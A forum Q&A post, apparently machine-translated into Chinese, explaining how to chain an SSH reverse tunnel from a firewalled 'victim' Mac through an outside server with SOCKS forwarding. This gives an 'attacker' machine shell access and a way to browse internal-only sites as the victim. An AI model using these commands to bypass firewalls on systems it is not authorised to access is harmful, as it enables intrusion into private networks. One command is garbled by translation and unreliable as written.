我的情况如下:
- 防火墙后面的工作 Mac,名为“受害者”。(High Sierra 10.13.3)
- 网络上的 Ubuntu VHS,名为“服务器”。其 ssh 在端口 2222 上运行。(Ubuntu 16.04)
- 其他 Mac 也位于防火墙后面,被称为“攻击者”。(High Sierra 10.13.3)
我想使用 socks 访问只有“受害者”才能访问的内部网站。
当我从“受害者”执行 ssh 并从攻击者进入“服务器”并运行时,我就可以从攻击者获得受害者的 shell 访问权限。ssh -R 5555:localhost:22 [email protected] -P 2222
ssh victim@localhost -p 5555
我需要实现的是使用 socks 访问只能从“受害者”访问的网站。
我知道我应该设置一个从受害者到服务器的反向隧道,并在服务器上设置从传入端口到反向连接端口的一些转发,还要在攻击者上设置从本地主机到远程(连接到服务器)的转发,但我该怎么做呢?
当我从攻击者直接设置到服务器的 socks 时,我只需在 Firefox 中运行并设置代理 socks v5 localhost:8080,但我不明白如何在服务器上设置转发...ssh -D 8080 [email protected] -p 2222
谁能给我解释一下?谢谢
答案1
显然没有人能回答这个问题,没关系因为我自己找到了答案。
以下是答案:
- 在受害者:
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
- 在攻击者#1:
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
- 在攻击者#2:
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
- 在攻击者#3:在 Firefox 或 irc 中,甚至对于常规网络设置:Socks (v5) 代理设置:127.0.0.1 端口 3333
你为主机 localhost 设置的每个应用程序都将通过 serv 隧道传输到受害者,当你访问类似http://myip.com您将看到受害者的 IP/主机。从这里开始,您甚至可以在攻击者(如果你为特定应用程序或整个系统设置了 socks 设置)将通过以下方式进行隧道传输服務到受害者你将扮演受害者像这样。
我在思维过程中犯的错误是,我并没有真正理解反向端口方案的样子,我会尝试用简单的术语来解释它。
受害者行动
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
-N
= 我不会在 shell 中运行命令-f
= 将进程置于后台(这样您就可以关闭终端窗口)-R
= 反向隧道5555:localhost:22
= 5555 是服务器内部监听的端口,用于将数据转发到端口 22受害者。如果您已将受害者设置为在端口 2222 上运行 ssh,则应将 22 更改为 2222。-p
= ssh 所在的端口服務在跑。
第一次攻击行动
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`
你执行的第一个命令攻击者( -L 4444:localhost:5555
) 将设置一个隧道,以便您与第三个命令的连接将通过隧道直接传输到受害者. (这仅适用于动态端口转发/Socks 应用程序)
如果你只想拥有 shell 访问权限受害者除了这个命令之外,您还应该直接 ssh 登录到 serv 并运行命令:“ssh user_on_victim@localhost -p 5555”。
但是我们不想进行 shell 访问,我们希望动态地传输所有数据,因此我们必须进行端口转发。
或者示意图
-L
= 本地端口转发(开启服務)- 4444:localhost:5555
将所有来自端口 4444 的数据放入端口 5555。
第二次攻击行动
你执行的第二条命令攻击者
ssh -p 4444 -D 本地主机:3333 用户_on_victim@localhost
是实际的命令,它将初始化通过 2 个隧道的连接。您要做的就是:连接到端口 4444,并将所有通过(本地主机端口 3333)传入的数据放入 4444。(这些数据将在本地通过服務到端口 5555 -> 将被推送到端口 22受害者。
或者示意图
-D
= 动态转发localhost:3333
= 监听端口 3333 并通过 ssh 连接将数据推送到端口 4444 以进行服务。-p 4444
= 端口服務正在监听将数据转发到端口 5555,然后发送到端口 22受害者。
第三次攻击行动
设置您的应用程序甚至整个系统以使用 SOCKS (v5) 代理服务器,地址:localhost 端口:3333。这些应用程序在哪个端口上正常运行并不重要,因为这将由代理服务器处理。理论上,每个应用程序都可以通过 socks 代理动态端口转发运行。您只需进行设置即可。:)
第三次行动攻击者你要传输的实际数据是受害者。这是什么数据或应用程序并不重要,这就是为什么它是动态转发,这些应用程序在哪个端口上运行并不重要,因为这将由 SOCKS 处理。
我希望有人能从我的解释中得到帮助。
祝你今天过得愉快....